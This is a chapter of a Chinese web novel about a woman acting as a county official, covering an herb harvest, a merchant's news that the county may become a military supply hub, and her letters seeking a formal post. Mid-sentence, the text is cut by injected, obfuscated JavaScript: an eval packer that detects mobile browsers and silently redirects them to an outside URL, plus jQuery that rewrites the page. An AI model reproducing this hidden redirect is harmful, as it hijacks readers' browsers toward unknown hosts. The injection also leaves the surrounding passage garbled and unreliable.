23.第 23 章
作品:《穿越做女官》 明明已经四月底了,这雨忽然下下来,还是有些凉。
苏清又看了眼那艘商船,对码头书吏低语几句。
果然,一个时辰后,码头书吏来报:“确实是叶家的商船,也确实是叶大少爷亲至。”
她就说,这次的叶家船只,格外华丽。
这叶大少爷上次过来,还是问他们要粮。
如今早就欠货两清,这次来,所为何事?
顾从斯想到什么,开口问道:“上次你说,他送你一份礼物,是什么?”
什么时候说的?
“元宵节,送药材种子那次。”
苏清想了好一会,才想到这回事。
都过去三个多月了,顾从斯怎么还记得。
不过礼物嘛。
确实送了。
见苏清不答,顾从斯皱眉。
到底有什么,是他不能知道的。
苏清只对武捕头道:“注意叶家的动向,看看他们有什么好买卖。”
在其他地方做买卖就算了。
在南江县的话,她必须知晓。
不过接下来几天里,叶山鸣只见了接替王乡绅的张大户,又巡查了他家的百货铺。
说是带来不少新奇好玩意儿,引得南江县有钱人都去买。
见他没什么动作,苏清也不再关注了,把精力都放在即将收获的药田上。
九千亩药田,第一茬在五月初六可以收获。
陆陆续续,一直到五月二十九收完。
收完之后,就可以继续种其他药材,育苗工作还要继续,接着统计新药田的数量。
余内官的手下巡查完药田,就有不少农户心生后悔,怎么不跟着种药材。
但没关系,第一批错过了,可以种第二批。
罗户房说的高兴,苏清却提醒道:“主粮跟经济作物的比例还要多关注。”
“不能因为药田挣钱,就不种粮食的。”
“倘若有这样的农户,尽快规劝,劝不动就押到衙门里。”
没办法,种药田不积极,苏清担心规模不够大,人家军中不重视。
种的太积极,不种粮食了,那更是动摇根基。
中间的度,必须把握好。
苏清总算知道她姥姥说的,别想着一次性解决问题,也没有一劳永逸。
他们这个位置,就是要不停地解决问题。
也正因这般想法,她是最不怕出意外的人。
罗户房立刻领命,不会让这种事情发生。
多数农家人并不糊涂。
他们清楚地知道,只有先饿不死,才有力气赚其他银子。
反而县里几家地主大户,对此蠢蠢欲动,想要逼着手底下佃户们都种药材。
幸好苏清的政令到了,才让他们歇了心思。
几番处置下,南江县农户无不心服口服。
“明日便是官田第一茬药材收获。”苏清道,“衙门肯定要到场的。”
“通知七家药铺掌柜大夫,到时候一同前往。”
几家药铺都知晓,提前做了准备,更备下桌椅器物贡品香烛吃食杂耍戏子等等。
大家都知道,这是他们发家的好机会,务必请神佛保佑,求个吉利。
永晟二年,五月初六。
苏清为首,顾从斯居其后,其他人或开路,或伴在左右,一齐往官田走去。
梅娘也带着朱娘子等人前去看看热闹。
收获的日子,自然无比轻快。
要说南江县的官田,自苏县令在时,便整治一番。
留在此地的佃户,都是勤劳肯做事的。
如今换了苏清来管,让他们兼种药材,是有些不愿意。
但不愿意归不愿意,事情却做得漂亮。
好在如今知道,那军中后勤余内官已然应下。
他们只等着收钱,自然无话可说,满心欢喜。
苏清到的时候,七家药铺掌柜大夫家眷都已到齐。
苏清看了过去,一眼看到人群中间的叶家大公子,对方依旧拿着折扇,朝她挥了挥。
“他怎么在这。”顾从斯明显不满。
叶山鸣直接走过来,笑道:“小的见过女县官。”
“我家跟药材七家之一聂家合作,故而在此,以后还请衙门多多照拂。”
虽在解释顾从斯的疑问,叶山鸣却一直看着苏清。
苏清像是并不惊愕,只微微点头,又听聂家掌柜说了一遍,方道:“既然入资了你家药铺,那便没话说,须小心行事,有事可来衙门寻我。”
聂家掌柜兼大夫连连点头,大大松口气。
他只会医术,不善经营,否则也不会居于七家药铺之末。
之前什么好事他都赶不上。
叶家找他合作,虽然突然,却正中下怀,既能扩大店面,又能撇去经营之烦恼。
现在又要苏主事做事,终于可以心安了。
叶山鸣挑眉,似乎不知道这话是在点他这个外地商人。
不过苏清的态度,让本地人十分高兴。
他们主事,就是向着自己人的。
有人甚至收了去叶山鸣的敌意,不再把他视作威胁。
“多谢了。”叶山鸣故意压低声音。
苏清只当不知道,让手下安排收获。
叶山鸣安排的吹打队伍,香烛祭祀也派上用场。
官田之上,不管衙门官吏,还是收获的佃农,以及围观百姓,热热闹闹看向成熟的药材。
不说了!
收获!
这么好的日子,赶紧收药了!
“这药材长得饱满漂亮,收下来之后再经处理,就是上好的伤药。”
“真好啊,没想到咱们南江县,意外地适合种药。”
“这次种的好,药也全被收走,下半年愿意种药的农户增加不少,各村村长里长,都在商议多种药。”
那他们这些药铺老板,只从中赚取收购买卖的银子,就能获利不少。
哎,听苏主事的话,果然没错。
幸好当初配合她防治疫病,否则没这样好的事。
没看白家郝家。
当初他们最先响应苏主事,如今衙门大小病痛,乃至后勤余内官生病,都是他们去的。
还有照顾伤员,同样能得银钱。
现在江南叶家都来分一杯羹。
必然也是看中伤药的走势。
众人欢呼时,苏清又看向叶山鸣,客气请他留步。
顾从斯见她表情,知道还有缘由,便伴在左右。
叶山鸣今日穿了身鹅黄绣文长衫,戴着的配饰无一不精美华丽。
好在他这个人身形高挑,与顾从斯不相上下,看着多了几分气势。
此刻笑眯眯走过来,不知道的人,只当他是哪家富贵闲人。
苏清此刻却无暇欣赏这位的俊朗,只道:“叶公子,你是得到什么消息了吗。”
“南江县这边,难道有什么变动。”
叶山鸣不答,见苏清瞪他,这才笑道:“苏主事还真是见微知著。”
“你可比一般男子强多了。”
这下,才看了眼苏清的未婚夫顾从斯。
叶山鸣虽在江南,这里的情况却一直知晓。
自借粮还粮惩治王乡绅之后,后来一件件事,都可见苏清魄力。
甚至还能搭上军中关系,若不是她的能力众所周知,军中也不肯让她照顾伤员,并帮她搭上内官的线。
但百闻不如一见。
真到跟前了,方知她的聪慧不止于此。
苏清见他要答不答,只扯闲篇,直接道:“听闻叶家做些宫廷买卖,是不是得知什么重要消息。”
“你家年前在此地设百货杂店,还好理解。”
“这次亲自过来,参与伤药买卖,必不是只为那九千亩药田。”
话至如此,叶山鸣也不必瞒了,本就是要同苏清提前商议的,他正色道:“宫中确实有消息。”
“总兵大人提议,让南江县成为军中后勤伤员中转地。”
“也就是说,以后各地运往前线的物资,大部分都会经过南江县。”
“船只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365907|182472||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
车马,皆在此地停靠。”
苏清跟顾从斯同时倒吸一口凉气。
两人相处时间久,动作极为同步,看的叶山鸣牙酸。
但他也知道,这对“未婚”夫妇为何惊愕。
因为此事一旦能成。
整个南江县,只赚来往差人的落脚钱,都能大赚一笔。
简单来讲。
就算放到现代,作为交通枢纽的地方,必然繁华。
人来人往,能带来不知多少收入。
倘若真的能成。
南江县的发展,必然极为迅速,往后被称为北边小江南也未可知。
怪不得叶家大少爷亲自来布局。
“南江县太平安定,粮价平稳,又没有疫病。”
“加之种药材,清航道,跟内官关系也不错。”
“总兵大人,如何不看重。”叶山鸣笑着道,语气里带了不加掩饰的欣赏。
战乱过后,其他地方官员疲于奔命。
南江县,独树一帜。
但话说到这。
别说苏清,就是顾从斯,脸色都变得不好。
叶山鸣当然明白怎么回事,垂眼道:“这事对南江县只有好处。”
“但对苏主事你,福祸焉知。”
毕竟这么大责任,这么丰厚的利润。
会交给苏清吗。
她只是无名无分的代主事,从来都不是本地官员,甚至不是书吏。
像是故意打破沉重气氛,叶山鸣挑眉看向顾从斯:“世事多变啊。”
“对了,你这里倒有个好消息。”
“广乐府快有新知府新学政了,今年八月秋闱必开。”
“提前恭喜顾秀才成为顾举人。”
顾从斯脸色更差,下意识看向苏清。
苏清可能会被换掉,秋闱却要开了。
自己若考上举人,他不敢想家里会如何做。
顾从斯反击:“若真能高中,到时候请叶少爷来喝双份喜酒。”
秋闱酒跟喜酒。
叶山鸣撇撇嘴,据他所知,顾家眼高于顶,还真把自己当未婚夫了。
苏清这性子,不适合嫁人洗手作羹汤。
该给他当伙计掌柜才是,必然能把此地生意做起来。
苏清翻了个白眼,制止两人莫名其妙地针锋相对,直接道:“想把我换掉,还早得很。”
苏清忽然想到余内官的话。
还是要把这代主事,早点转为正的。
将南江县做前线物资中转地一事,既是危机,也是机遇。
她必须马上行动。
苏清不加犹豫,写了三封书信出去。
寄出去之前,还让顾从斯帮她润润色,普通信件就算了,这种信件还是要拽点古文,她是真不会。
余内官一封,问问有没有女子做县官的先例,还请内官帮忙周旋。
又问候余内官身体如何,送了几服好药。
薛守备那边比较简单,请他把最后一封信送到总兵大人手中。
信里不提自己知晓中转地一事,只讲如今身份多有不便,想谋个名正言顺的官职。
否则底下三班六房的书吏差役们,也上不了官府文牒,办事多有不便云云。
他们南江县战后不易,还望总兵大人可怜。
最后又谢过总兵大人,谢他当初平乱,并亲自解下她爹苏县令悬挂在城楼上的尸体,让她父亲得以入土为安。
自己携母亲以及五岁幼弟拜谢,若有机会,还要亲自捧礼谢过。
此信文辞虽为顾从斯润色。
可里面的意思却是苏清想写。
顾从斯这才明白,怪不得有人会夸信件写的机敏。
苏清这信,便足够机敏。
在他看来,南江县的县令,非苏清莫属。
只是不知,那总兵大人何意。
苏清笑,不管总兵何意,她都会为自己争取。
此路不行,她就再试试别的。
反正这官,她肯定要做。
让她把心血让给别人?这绝不可能。